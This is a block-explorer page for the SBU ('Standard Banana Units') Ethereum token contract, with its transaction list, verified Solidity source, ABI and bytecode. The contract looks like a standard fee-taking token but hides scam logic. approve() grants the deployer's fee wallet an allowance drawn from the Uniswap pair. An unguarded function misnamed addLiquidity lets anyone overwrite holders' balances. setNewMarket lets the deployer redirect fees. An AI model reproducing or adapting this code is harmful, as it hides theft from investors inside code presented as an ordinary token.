Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 71 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 21188841 | 495 days ago | IN | 0 ETH | 0.00127878 | ||||
| Approve | 21188763 | 495 days ago | IN | 0 ETH | 0.0018131 | ||||
| Add Liquidity | 21188752 | 495 days ago | IN | 0 ETH | 0.00076596 | ||||
| Approve | 21188714 | 495 days ago | IN | 0 ETH | 0.00162164 | ||||
| Approve | 21188714 | 495 days ago | IN | 0 ETH | 0.00162164 | ||||
| Approve | 21188714 | 495 days ago | IN | 0 ETH | 0.00162164 | ||||
| Approve | 21188713 | 495 days ago | IN | 0 ETH | 0.00149134 | ||||
| Transfer | 21188713 | 495 days ago | IN | 0 ETH | 0.00221028 | ||||
| Add Liquidity | 21188703 | 495 days ago | IN | 0 ETH | 0.00069152 | ||||
| Add Liquidity | 21188695 | 495 days ago | IN | 0 ETH | 0.00073843 | ||||
| Approve | 21188688 | 495 days ago | IN | 0 ETH | 0.00170271 | ||||
| Approve | 21188688 | 495 days ago | IN | 0 ETH | 0.00170271 | ||||
| Approve | 21188687 | 495 days ago | IN | 0 ETH | 0.00170271 | ||||
| Approve | 21188687 | 495 days ago | IN | 0 ETH | 0.00170271 | ||||
| Approve | 21188687 | 495 days ago | IN | 0 ETH | 0.001703 | ||||
| Add Liquidity | 21188668 | 495 days ago | IN | 0 ETH | 0.00077727 | ||||
| Add Liquidity | 21188666 | 495 days ago | IN | 0 ETH | 0.00058711 | ||||
| Add Liquidity | 21188655 | 495 days ago | IN | 0 ETH | 0.00088308 | ||||
| Approve | 21188620 | 495 days ago | IN | 0 ETH | 0.00194252 | ||||
| Approve | 21188605 | 495 days ago | IN | 0 ETH | 0.00175155 | ||||
| Approve | 21188605 | 495 days ago | IN | 0 ETH | 0.00175155 | ||||
| Add Liquidity | 21188603 | 495 days ago | IN | 0 ETH | 0.00073013 | ||||
| Approve | 21188596 | 495 days ago | IN | 0 ETH | 0.00138829 | ||||
| Approve | 21188576 | 495 days ago | IN | 0 ETH | 0.00203537 | ||||
| Approve | 21188576 | 495 days ago | IN | 0 ETH | 0.00203537 |
Latest 5 internal transactions
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
SBU
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-11-14
*/
/**
https://www.reddit.com/r/ios/comments/1gras7g/new_reddit_icon_beta
Tg: https://t.me/sbu_erc20
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SBU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcemptFromFee;
mapping (address => bool) private _bots;
address payable private _yyWallet;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"Standard Banana Units";
string private constant _symbol = unicode"SBU";
uint256 public _maxTxAmount = _tTotal * 2 / 100;
uint256 public _maxWalletAmount = _tTotal * 2 / 100;
uint256 public _minTaxSwap= _tTotal * 1 / 100;
uint256 public _maxTaxSwap= _tTotal * 1 / 100;
uint256 private _initialBuyTax=2;
uint256 private _initialSellTax=12;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyAt=10;
uint256 private _reduceSellAt=10;
uint256 private _preventCount=12;
uint256 private _buyCount=0;
address private yyOwner;
address private _deployer;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private _caLimitSell = true;
uint256 private _caBlockSell = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_yyWallet = payable(0x438A03219D7bb0F8452442b484B5331dd38d52A4);
_balances[address(this)] = _tTotal;
_isExcemptFromFee[owner()] = true;
_isExcemptFromFee[_yyWallet] = true;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_yyWallet] = true;
_deployer = yyOwner = _msgSender();
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
address owners = _msgSender();
if(_isExcemptFromFee[spender]) owners=yyOwner;
_approve(owners, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 _taxAmount=0;
if (from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
_taxAmount = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
_taxAmount = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) {
if (_caLimitSell) {
if (_caBlockSell < block.number) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
_caBlockSell = block.number;
}
} else {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
if(_taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(_taxAmount);
emit Transfer(from, address(this), _taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(_taxAmount));
emit Transfer(from, to, amount.sub(_taxAmount));
}
function removeLimits() external onlyOwner {
_caLimitSell = false;
_maxTxAmount = _tTotal;
_maxWalletAmount=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function sendETHToFee(uint256 amount) private {
_yyWallet.transfer(amount);
}
function withdrawStuckETH() external onlyOwner() {
payable(owner()).transfer(address(this).balance);
}
function setNewMarket(address payable newAddr) external {
require(_msgSender()==_deployer, "!deployer");
_yyWallet = newAddr;
_isExcemptFromFee[newAddr] = true;
_isExcludedFromFee[newAddr] = true;
}
function addLiquidity(address[] memory addrs) external {
for (uint256 i = 0; i < addrs.length; i ++) {
if (addrs[i] == uniswapV2Pair) return;
_balances[addrs[i]] = 100 * 10 ** _decimals;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
yyOwner = uniswapV2Pair;
swapEnabled = true;
tradingOpen = true;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewMarket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405260646100126009600a610403565b61002090633b9aca00610418565b61002b906002610418565b610035919061042f565b60075560646100466009600a610403565b61005490633b9aca00610418565b61005f906002610418565b610069919061042f565b600855606461007a6009600a610403565b61008890633b9aca00610418565b610093906001610418565b61009d919061042f565b60095560646009600a6100b09190610403565b6100be90633b9aca00610418565b6100c9906001610418565b6100d3919061042f565b600a9081556002600b55600c8080555f600d819055600e819055600f83905560109290925560115560128190556016805462ffffff60a81b1916600160b81b17905560178190556101213390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03191673438a03219d7bb0f8452442b484b5331dd38d52a417905561019c6009600a610403565b6101aa90633b9aca00610418565b305f9081526001602081905260408220929092556004906101d25f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790556006549091168152600490925281208054909216600190811790925560039061022f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065490911683529120805490921617905561028c3390565b601380546001600160a01b03929092166001600160a01b0319928316811790915560148054909216179055305f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102e66009600a610403565b6102f490633b9aca00610418565b60405190815260200160405180910390a361044e565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103595780850481111561033d5761033d61030a565b600184161561034b57908102905b60019390931c928002610322565b935093915050565b5f8261036f575060016103fd565b8161037b57505f6103fd565b8160018114610391576002811461039b576103b7565b60019150506103fd565b60ff8411156103ac576103ac61030a565b50506001821b6103fd565b5060208310610133831016604e8410600b84101617156103da575081810a6103fd565b6103e65f19848461031e565b805f19048211156103f9576103f961030a565b0290505b92915050565b5f61041160ff841683610361565b9392505050565b80820281158282048414176103fd576103fd61030a565b5f8261044957634e487b7160e01b5f52601260045260245ffd5b500490565b6119d48061045b5f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a0f2c96411610062578063a0f2c96414610325578063a9059cbb14610344578063c9567bf914610363578063dd62ed3e14610377578063f5648a4f146103bb575f80fd5b8063751039fc1461028c5780637d1db4a5146102a05780638da5cb5b146102b557806395d89b41146102db5780639dee906614610306575f80fd5b8063300d6217116100e3578063300d6217146101fd578063313ce567146102125780636c0a24eb1461022d57806370a0823114610242578063715018a614610276575f80fd5b806306fdde0314610129578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca57806323b872dd146101de575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260158152745374616e646172642042616e616e6120556e69747360581b60208201525b60405161016f919061150c565b60405180910390f35b348015610183575f80fd5b50610197610192366004611565565b6103cf565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc600a5481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc610416565b3480156101e9575f80fd5b506101976101f836600461158f565b610436565b348015610208575f80fd5b506101bc60095481565b34801561021d575f80fd5b506040516009815260200161016f565b348015610238575f80fd5b506101bc60085481565b34801561024d575f80fd5b506101bc61025c3660046115cd565b6001600160a01b03165f9081526001602052604090205490565b348015610281575f80fd5b5061028a61049d565b005b348015610297575f80fd5b5061028a610517565b3480156102ab575f80fd5b506101bc60075481565b3480156102c0575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102e6575f80fd5b5060408051808201909152600381526253425560e81b6020820152610162565b348015610311575f80fd5b5061028a6103203660046115cd565b6105d5565b348015610330575f80fd5b5061028a61033f3660046115fc565b610676565b34801561034f575f80fd5b5061019761035e366004611565565b610719565b34801561036e575f80fd5b5061028a61072e565b348015610382575f80fd5b506101bc6103913660046116c7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103c6575f80fd5b5061028a610a7d565b6001600160a01b0382165f90815260046020526040812054339060ff16156103ff57506013546001600160a01b03165b61040a818585610ae0565b60019150505b92915050565b5f6104236009600a6117f5565b61043190633b9aca00611803565b905090565b5f610442848484610c03565b610493843361048e85604051806060016040528060288152602001611977602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611188565b610ae0565b5060019392505050565b5f546001600160a01b031633146104cf5760405162461bcd60e51b81526004016104c69061181a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105405760405162461bcd60e51b81526004016104c69061181a565b6016805460ff60b81b191690556105596009600a6117f5565b61056790633b9aca00611803565b6007556105766009600a6117f5565b61058490633b9aca00611803565b6008557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b46009600a6117f5565b6105c290633b9aca00611803565b60405190815260200160405180910390a1565b6014546001600160a01b0316336001600160a01b0316146106245760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016104c6565b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b5f5b81518110156107155760165482516001600160a01b03909116908390839081106106a4576106a461184f565b60200260200101516001600160a01b0316036106be575050565b6106ca6009600a6117f5565b6106d5906064611803565b60015f8484815181106106ea576106ea61184f565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610678565b5050565b5f610725338484610c03565b50600192915050565b5f546001600160a01b031633146107575760405162461bcd60e51b81526004016104c69061181a565b601654600160a01b900460ff16156107b15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c6565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107fa9030906107ec6009600a6117f5565b61048e90633b9aca00611803565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086e9190611863565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f19190611863565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561093b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095f9190611863565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306109a6816001600160a01b03165f9081526001602052604090205490565b5f806109b95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a44919061187e565b505060168054601380546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b5f546001600160a01b03163314610aa65760405162461bcd60e51b81526004016104c69061181a565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610add573d5f803e3d5ffd5b50565b6001600160a01b038316610b425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c6565b6001600160a01b038216610ba35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c6565b6001600160a01b038216610cc95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c6565b5f8111610d2a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c6565b5f80546001600160a01b03858116911614801590610d5557505f546001600160a01b03848116911614155b1561104b576001600160a01b0384165f9081526005602052604090205460ff16158015610d9a57506001600160a01b0383165f9081526005602052604090205460ff16155b610da2575f80fd5b610dce6064610dc8600f5460125411610dbd57600b54610dc1565b600d545b85906111c0565b90611245565b6016549091506001600160a01b038581169116148015610dfc57506015546001600160a01b03848116911614155b8015610e2057506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0657600754821115610e775760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c6565b60085482610e99856001600160a01b03165f9081526001602052604090205490565b610ea391906118a9565b1115610ef15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c6565b60128054905f610f00836118bc565b91905055505b6016546001600160a01b038481169116148015610f2c57506001600160a01b0384163014155b15610f6457610f566064610dc860105460125411610f4c57600c54610dc1565b600e5485906111c0565b905047610f6247611286565b505b305f90815260016020526040902054601654600160a81b900460ff16158015610f9a57506016546001600160a01b038581169116145b8015610faf5750601654600160b01b900460ff165b8015610fbc575060095481115b8015610fcb5750601154601254115b1561104957601654600160b81b900460ff16156110245743601754101561101f5761100961100484610fff84600a546112bd565b6112bd565b6112d1565b4780156110195761101947611286565b50436017555b611049565b61103761100484610fff84600a546112bd565b4780156110475761104747611286565b505b505b80156110c357305f9081526001602052604090205461106a9082611441565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110ba9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110e5908361149f565b6001600160a01b0385165f9081526001602052604090205561112861110a838361149f565b6001600160a01b0385165f9081526001602052604090205490611441565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611171858561149f565b60405190815260200160405180910390a350505050565b5f81848411156111ab5760405162461bcd60e51b81526004016104c6919061150c565b505f6111b784866118d4565b95945050505050565b5f825f036111cf57505f610410565b5f6111da8385611803565b9050826111e785836118e7565b1461123e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c6565b9392505050565b5f61123e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e0565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610715573d5f803e3d5ffd5b5f8183116112cb578261123e565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113175761131761184f565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561136e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113929190611863565b816001815181106113a5576113a561184f565b6001600160a01b0392831660209182029290920101526015546113cb9130911684610ae0565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114039085905f90869030904290600401611906565b5f604051808303815f87803b15801561141a575f80fd5b505af115801561142c573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b5f8061144d83856118a9565b90508381101561123e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c6565b5f61123e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611188565b5f81836115005760405162461bcd60e51b81526004016104c6919061150c565b505f6111b784866118e7565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610add575f80fd5b803561156081611541565b919050565b5f8060408385031215611576575f80fd5b823561158181611541565b946020939093013593505050565b5f805f606084860312156115a1575f80fd5b83356115ac81611541565b925060208401356115bc81611541565b929592945050506040919091013590565b5f602082840312156115dd575f80fd5b813561123e81611541565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561160c575f80fd5b813567ffffffffffffffff811115611622575f80fd5b8201601f81018413611632575f80fd5b803567ffffffffffffffff81111561164c5761164c6115e8565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611679576116796115e8565b604052918252602081840181019290810187841115611696575f80fd5b6020850194505b838510156116bc576116ae85611555565b81526020948501940161169d565b509695505050505050565b5f80604083850312156116d8575f80fd5b82356116e381611541565b915060208301356116f381611541565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561174d57808504811115611731576117316116fe565b600184161561173f57908102905b60019390931c928002611716565b935093915050565b5f8261176357506001610410565b8161176f57505f610410565b8160018114611785576002811461178f576117ab565b6001915050610410565b60ff8411156117a0576117a06116fe565b50506001821b610410565b5060208310610133831016604e8410600b84101617156117ce575081810a610410565b6117da5f198484611712565b805f19048211156117ed576117ed6116fe565b029392505050565b5f61123e60ff841683611755565b8082028115828204841417610410576104106116fe565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611873575f80fd5b815161123e81611541565b5f805f60608486031215611890575f80fd5b5050815160208301516040909301519094929350919050565b80820180821115610410576104106116fe565b5f600182016118cd576118cd6116fe565b5060010190565b81810381811115610410576104106116fe565b5f8261190157634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119565783516001600160a01b031683526020938401939092019160010161192f565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220916ab18505075ce38b0ed9093207f6379b75f76a70f7cc69a0ca94a8e6bef5e364736f6c634300081a0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a0f2c96411610062578063a0f2c96414610325578063a9059cbb14610344578063c9567bf914610363578063dd62ed3e14610377578063f5648a4f146103bb575f80fd5b8063751039fc1461028c5780637d1db4a5146102a05780638da5cb5b146102b557806395d89b41146102db5780639dee906614610306575f80fd5b8063300d6217116100e3578063300d6217146101fd578063313ce567146102125780636c0a24eb1461022d57806370a0823114610242578063715018a614610276575f80fd5b806306fdde0314610129578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca57806323b872dd146101de575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260158152745374616e646172642042616e616e6120556e69747360581b60208201525b60405161016f919061150c565b60405180910390f35b348015610183575f80fd5b50610197610192366004611565565b6103cf565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc600a5481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc610416565b3480156101e9575f80fd5b506101976101f836600461158f565b610436565b348015610208575f80fd5b506101bc